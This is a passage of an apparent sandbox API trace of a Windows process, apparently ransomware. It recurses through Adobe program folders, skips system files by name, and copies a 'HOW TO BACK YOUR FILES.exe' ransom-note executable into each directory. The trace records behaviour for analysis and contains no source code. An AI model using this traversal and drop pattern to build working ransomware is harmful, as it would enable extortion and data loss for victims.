	[0056.398] lstrcmpiW (lpString1="Acrobat", lpString2="ntuser.dat") returned -1
	[0056.398] lstrcmpiW (lpString1="Acrobat", lpString2="perflogs") returned -1
	[0056.398] lstrcmpiW (lpString1="Acrobat", lpString2="MSBuild") returned -1
	[0056.398] lstrlenW (lpString="Acrobat") returned 7
	[0056.398] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe\\*") returned 43
	[0056.398] lstrcpyW (in: lpString1=0x2d3e5a4, lpString2="Acrobat" | out: lpString1="Acrobat") returned="Acrobat"
	[0056.399] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7908
	[0056.399] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x64) returned 0x5c8f30
	[0056.399] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7910 | out: ListHead=0x5b76b0, ListEntry=0x5b7910) returned 0x5b78f0
	[0056.399] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8386f760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ARM", cAlternateFileName="")) returned 1
	[0056.399] lstrcmpiW (lpString1="ARM", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.399] lstrcmpiW (lpString1="ARM", lpString2="Apollon865.txt.exe") returned 1
	[0056.399] lstrcmpiW (lpString1="ARM", lpString2=".") returned 1
	[0056.399] lstrcmpiW (lpString1="ARM", lpString2="..") returned 1
	[0056.399] lstrcmpiW (lpString1="ARM", lpString2="windows") returned -1
	[0056.399] lstrcmpiW (lpString1="ARM", lpString2="bootmgr") returned -1
	[0056.399] lstrcmpiW (lpString1="ARM", lpString2="temp") returned -1
	[0056.399] lstrcmpiW (lpString1="ARM", lpString2="pagefile.sys") returned -1
	[0056.399] lstrcmpiW (lpString1="ARM", lpString2="boot") returned -1
	[0056.399] lstrcmpiW (lpString1="ARM", lpString2="ids.txt") returned -1
	[0056.399] lstrcmpiW (lpString1="ARM", lpString2="ntuser.dat") returned -1
	[0056.399] lstrcmpiW (lpString1="ARM", lpString2="perflogs") returned -1
	[0056.399] lstrcmpiW (lpString1="ARM", lpString2="MSBuild") returned -1
	[0056.399] lstrlenW (lpString="ARM") returned 3
	[0056.399] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat") returned 49
	[0056.399] lstrcpyW (in: lpString1=0x2d3e5a4, lpString2="ARM" | out: lpString1="ARM") returned="ARM"
	[0056.399] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7928
	[0056.399] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x5c) returned 0x5c55f8
	[0056.399] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7930 | out: ListHead=0x5b76b0, ListEntry=0x5b7930) returned 0x5b7910
	[0056.399] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HelpCfg", cAlternateFileName="")) returned 1
	[0056.399] lstrcmpiW (lpString1="HelpCfg", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.399] lstrcmpiW (lpString1="HelpCfg", lpString2="Apollon865.txt.exe") returned 1
	[0056.399] lstrcmpiW (lpString1="HelpCfg", lpString2=".") returned 1
	[0056.399] lstrcmpiW (lpString1="HelpCfg", lpString2="..") returned 1
	[0056.399] lstrcmpiW (lpString1="HelpCfg", lpString2="windows") returned -1
	[0056.399] lstrcmpiW (lpString1="HelpCfg", lpString2="bootmgr") returned 1
	[0056.399] lstrcmpiW (lpString1="HelpCfg", lpString2="temp") returned -1
	[0056.399] lstrcmpiW (lpString1="HelpCfg", lpString2="pagefile.sys") returned -1
	[0056.400] lstrcmpiW (lpString1="HelpCfg", lpString2="boot") returned 1
	[0056.400] lstrcmpiW (lpString1="HelpCfg", lpString2="ids.txt") returned -1
	[0056.400] lstrcmpiW (lpString1="HelpCfg", lpString2="ntuser.dat") returned -1
	[0056.400] lstrcmpiW (lpString1="HelpCfg", lpString2="perflogs") returned -1
	[0056.400] lstrcmpiW (lpString1="HelpCfg", lpString2="MSBuild") returned -1
	[0056.400] lstrlenW (lpString="HelpCfg") returned 7
	[0056.400] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM") returned 45
	[0056.400] lstrcpyW (in: lpString1=0x2d3e5a4, lpString2="HelpCfg" | out: lpString1="HelpCfg") returned="HelpCfg"
	[0056.400] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7948
	[0056.400] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x64) returned 0x5c8fa0
	[0056.400] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7950 | out: ListHead=0x5b76b0, ListEntry=0x5b7950) returned 0x5b7930
	[0056.400] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39ae9d30, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x39ae9d30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0056.400] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0056.400] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39ae9d30, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x39ae9d30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0056.400] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0056.400] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7950
	[0056.400] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg"
	[0056.400] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8fa0 | out: hHeap=0x580000) returned 1
	[0056.400] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7948 | out: hHeap=0x580000) returned 1
	[0056.400] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned 49
	[0056.400] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg"
	[0056.400] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.400] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.407] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.407] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x39b0fe90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39b0fe90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.407] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.407] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.407] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0056.407] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x39b0fe90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39b0fe90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0056.407] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.407] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0056.407] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0056.407] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0056.407] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ca_ES", cAlternateFileName="")) returned 1
	[0056.407] lstrcmpiW (lpString1="ca_ES", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.407] lstrcmpiW (lpString1="ca_ES", lpString2="Apollon865.txt.exe") returned 1
	[0056.407] lstrcmpiW (lpString1="ca_ES", lpString2=".") returned 1
	[0056.407] lstrcmpiW (lpString1="ca_ES", lpString2="..") returned 1
	[0056.407] lstrcmpiW (lpString1="ca_ES", lpString2="windows") returned -1
	[0056.407] lstrcmpiW (lpString1="ca_ES", lpString2="bootmgr") returned 1
	[0056.407] lstrcmpiW (lpString1="ca_ES", lpString2="temp") returned -1
	[0056.407] lstrcmpiW (lpString1="ca_ES", lpString2="pagefile.sys") returned -1
	[0056.407] lstrcmpiW (lpString1="ca_ES", lpString2="boot") returned 1
	[0056.407] lstrcmpiW (lpString1="ca_ES", lpString2="ids.txt") returned -1
	[0056.407] lstrcmpiW (lpString1="ca_ES", lpString2="ntuser.dat") returned -1
	[0056.407] lstrcmpiW (lpString1="ca_ES", lpString2="perflogs") returned -1
	[0056.407] lstrcmpiW (lpString1="ca_ES", lpString2="MSBuild") returned -1
	[0056.407] lstrlenW (lpString="ca_ES") returned 5
	[0056.407] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\*") returned 51
	[0056.408] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="ca_ES" | out: lpString1="ca_ES") returned="ca_ES"
	[0056.408] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7948
	[0056.408] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x70) returned 0x59aa88
	[0056.408] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7950 | out: ListHead=0x5b76b0, ListEntry=0x5b7950) returned 0x5b7930
	[0056.408] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cs_CZ", cAlternateFileName="")) returned 1
	[0056.408] lstrcmpiW (lpString1="cs_CZ", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.408] lstrcmpiW (lpString1="cs_CZ", lpString2="Apollon865.txt.exe") returned 1
	[0056.408] lstrcmpiW (lpString1="cs_CZ", lpString2=".") returned 1
	[0056.408] lstrcmpiW (lpString1="cs_CZ", lpString2="..") returned 1
	[0056.408] lstrcmpiW (lpString1="cs_CZ", lpString2="windows") returned -1
	[0056.408] lstrcmpiW (lpString1="cs_CZ", lpString2="bootmgr") returned 1
	[0056.408] lstrcmpiW (lpString1="cs_CZ", lpString2="temp") returned -1
	[0056.408] lstrcmpiW (lpString1="cs_CZ", lpString2="pagefile.sys") returned -1
	[0056.408] lstrcmpiW (lpString1="cs_CZ", lpString2="boot") returned 1
	[0056.408] lstrcmpiW (lpString1="cs_CZ", lpString2="ids.txt") returned -1
	[0056.408] lstrcmpiW (lpString1="cs_CZ", lpString2="ntuser.dat") returned -1
	[0056.408] lstrcmpiW (lpString1="cs_CZ", lpString2="perflogs") returned -1
	[0056.408] lstrcmpiW (lpString1="cs_CZ", lpString2="MSBuild") returned -1
	[0056.408] lstrlenW (lpString="cs_CZ") returned 5
	[0056.408] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES") returned 55
	[0056.408] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="cs_CZ" | out: lpString1="cs_CZ") returned="cs_CZ"
	[0056.408] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7968
	[0056.408] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x70) returned 0x59a920
	[0056.408] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7970 | out: ListHead=0x5b76b0, ListEntry=0x5b7970) returned 0x5b7950
	[0056.408] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="da_DK", cAlternateFileName="")) returned 1
	[0056.408] lstrcmpiW (lpString1="da_DK", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.408] lstrcmpiW (lpString1="da_DK", lpString2="Apollon865.txt.exe") returned 1
	[0056.408] lstrcmpiW (lpString1="da_DK", lpString2=".") returned 1
	[0056.408] lstrcmpiW (lpString1="da_DK", lpString2="..") returned 1
	[0056.408] lstrcmpiW (lpString1="da_DK", lpString2="windows") returned -1
	[0056.408] lstrcmpiW (lpString1="da_DK", lpString2="bootmgr") returned 1
	[0056.409] lstrcmpiW (lpString1="da_DK", lpString2="temp") returned -1
	[0056.409] lstrcmpiW (lpString1="da_DK", lpString2="pagefile.sys") returned -1
	[0056.409] lstrcmpiW (lpString1="da_DK", lpString2="boot") returned 1
	[0056.409] lstrcmpiW (lpString1="da_DK", lpString2="ids.txt") returned -1
	[0056.409] lstrcmpiW (lpString1="da_DK", lpString2="ntuser.dat") returned -1
	[0056.409] lstrcmpiW (lpString1="da_DK", lpString2="perflogs") returned -1
	[0056.409] lstrcmpiW (lpString1="da_DK", lpString2="MSBuild") returned -1
	[0056.409] lstrlenW (lpString="da_DK") returned 5
	[0056.409] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ") returned 55
	[0056.409] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="da_DK" | out: lpString1="da_DK") returned="da_DK"
	[0056.409] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b68
	[0056.409] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x70) returned 0x59ab78
	[0056.409] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b70 | out: ListHead=0x5b76b0, ListEntry=0x5b7b70) returned 0x5b7970
	[0056.409] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="de_DE", cAlternateFileName="")) returned 1
	[0056.409] lstrcmpiW (lpString1="de_DE", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.409] lstrcmpiW (lpString1="de_DE", lpString2="Apollon865.txt.exe") returned 1
	[0056.409] lstrcmpiW (lpString1="de_DE", lpString2=".") returned 1
	[0056.409] lstrcmpiW (lpString1="de_DE", lpString2="..") returned 1
	[0056.409] lstrcmpiW (lpString1="de_DE", lpString2="windows") returned -1
	[0056.409] lstrcmpiW (lpString1="de_DE", lpString2="bootmgr") returned 1
	[0056.409] lstrcmpiW (lpString1="de_DE", lpString2="temp") returned -1
	[0056.409] lstrcmpiW (lpString1="de_DE", lpString2="pagefile.sys") returned -1
	[0056.409] lstrcmpiW (lpString1="de_DE", lpString2="boot") returned 1
	[0056.409] lstrcmpiW (lpString1="de_DE", lpString2="ids.txt") returned -1
	[0056.409] lstrcmpiW (lpString1="de_DE", lpString2="ntuser.dat") returned -1
	[0056.409] lstrcmpiW (lpString1="de_DE", lpString2="perflogs") returned -1
	[0056.409] lstrcmpiW (lpString1="de_DE", lpString2="MSBuild") returned -1
	[0056.409] lstrlenW (lpString="de_DE") returned 5
	[0056.409] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK") returned 55
	[0056.409] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="de_DE" | out: lpString1="de_DE") returned="de_DE"
	[0056.409] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7988
	[0056.409] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x70) returned 0x59abf0
	[0056.410] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7990 | out: ListHead=0x5b76b0, ListEntry=0x5b7990) returned 0x5b7b70
	[0056.410] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 1
	[0056.410] lstrcmpiW (lpString1="en_US", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.410] lstrcmpiW (lpString1="en_US", lpString2="Apollon865.txt.exe") returned 1
	[0056.410] lstrcmpiW (lpString1="en_US", lpString2=".") returned 1
	[0056.410] lstrcmpiW (lpString1="en_US", lpString2="..") returned 1
	[0056.410] lstrcmpiW (lpString1="en_US", lpString2="windows") returned -1
	[0056.410] lstrcmpiW (lpString1="en_US", lpString2="bootmgr") returned 1
	[0056.410] lstrcmpiW (lpString1="en_US", lpString2="temp") returned -1
	[0056.410] lstrcmpiW (lpString1="en_US", lpString2="pagefile.sys") returned -1
	[0056.410] lstrcmpiW (lpString1="en_US", lpString2="boot") returned 1
	[0056.410] lstrcmpiW (lpString1="en_US", lpString2="ids.txt") returned -1
	[0056.410] lstrcmpiW (lpString1="en_US", lpString2="ntuser.dat") returned -1
	[0056.410] lstrcmpiW (lpString1="en_US", lpString2="perflogs") returned -1
	[0056.410] lstrcmpiW (lpString1="en_US", lpString2="MSBuild") returned -1
	[0056.410] lstrlenW (lpString="en_US") returned 5
	[0056.410] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE") returned 55
	[0056.410] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="en_US" | out: lpString1="en_US") returned="en_US"
	[0056.410] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b79a8
	[0056.410] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x70) returned 0x59ac68
	[0056.410] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b79b0 | out: ListHead=0x5b76b0, ListEntry=0x5b79b0) returned 0x5b7990
	[0056.410] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="es_ES", cAlternateFileName="")) returned 1
	[0056.410] lstrcmpiW (lpString1="es_ES", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.410] lstrcmpiW (lpString1="es_ES", lpString2="Apollon865.txt.exe") returned 1
	[0056.410] lstrcmpiW (lpString1="es_ES", lpString2=".") returned 1
	[0056.410] lstrcmpiW (lpString1="es_ES", lpString2="..") returned 1
	[0056.410] lstrcmpiW (lpString1="es_ES", lpString2="windows") returned -1
	[0056.410] lstrcmpiW (lpString1="es_ES", lpString2="bootmgr") returned 1
	[0056.410] lstrcmpiW (lpString1="es_ES", lpString2="temp") returned -1
	[0056.410] lstrcmpiW (lpString1="es_ES", lpString2="pagefile.sys") returned -1
	[0056.410] lstrcmpiW (lpString1="es_ES", lpString2="boot") returned 1
	[0056.411] lstrcmpiW (lpString1="es_ES", lpString2="ids.txt") returned -1
	[0056.411] lstrcmpiW (lpString1="es_ES", lpString2="ntuser.dat") returned -1
	[0056.411] lstrcmpiW (lpString1="es_ES", lpString2="perflogs") returned -1
	[0056.411] lstrcmpiW (lpString1="es_ES", lpString2="MSBuild") returned -1
	[0056.411] lstrlenW (lpString="es_ES") returned 5
	[0056.411] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US") returned 55
	[0056.411] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="es_ES" | out: lpString1="es_ES") returned="es_ES"
	[0056.411] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a48
	[0056.411] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x70) returned 0x59ace0
	[0056.411] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a50 | out: ListHead=0x5b76b0, ListEntry=0x5b7a50) returned 0x5b79b0
	[0056.411] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="eu_ES", cAlternateFileName="")) returned 1
	[0056.411] lstrcmpiW (lpString1="eu_ES", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.411] lstrcmpiW (lpString1="eu_ES", lpString2="Apollon865.txt.exe") returned 1
	[0056.411] lstrcmpiW (lpString1="eu_ES", lpString2=".") returned 1
	[0056.411] lstrcmpiW (lpString1="eu_ES", lpString2="..") returned 1
	[0056.411] lstrcmpiW (lpString1="eu_ES", lpString2="windows") returned -1
	[0056.411] lstrcmpiW (lpString1="eu_ES", lpString2="bootmgr") returned 1
	[0056.411] lstrcmpiW (lpString1="eu_ES", lpString2="temp") returned -1
	[0056.411] lstrcmpiW (lpString1="eu_ES", lpString2="pagefile.sys") returned -1
	[0056.411] lstrcmpiW (lpString1="eu_ES", lpString2="boot") returned 1
	[0056.411] lstrcmpiW (lpString1="eu_ES", lpString2="ids.txt") returned -1
	[0056.411] lstrcmpiW (lpString1="eu_ES", lpString2="ntuser.dat") returned -1
	[0056.411] lstrcmpiW (lpString1="eu_ES", lpString2="perflogs") returned -1
	[0056.411] lstrcmpiW (lpString1="eu_ES", lpString2="MSBuild") returned -1
	[0056.411] lstrlenW (lpString="eu_ES") returned 5
	[0056.411] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES") returned 55
	[0056.411] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="eu_ES" | out: lpString1="eu_ES") returned="eu_ES"
	[0056.411] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a68
	[0056.411] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x70) returned 0x59ad58
	[0056.411] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a70 | out: ListHead=0x5b76b0, ListEntry=0x5b7a70) returned 0x5b7a50
	[0056.411] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fi_FI", cAlternateFileName="")) returned 1
	[0056.411] lstrcmpiW (lpString1="fi_FI", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.411] lstrcmpiW (lpString1="fi_FI", lpString2="Apollon865.txt.exe") returned 1
	[0056.412] lstrcmpiW (lpString1="fi_FI", lpString2=".") returned 1
	[0056.412] lstrcmpiW (lpString1="fi_FI", lpString2="..") returned 1
	[0056.412] lstrcmpiW (lpString1="fi_FI", lpString2="windows") returned -1
	[0056.412] lstrcmpiW (lpString1="fi_FI", lpString2="bootmgr") returned 1
	[0056.412] lstrcmpiW (lpString1="fi_FI", lpString2="temp") returned -1
	[0056.412] lstrcmpiW (lpString1="fi_FI", lpString2="pagefile.sys") returned -1
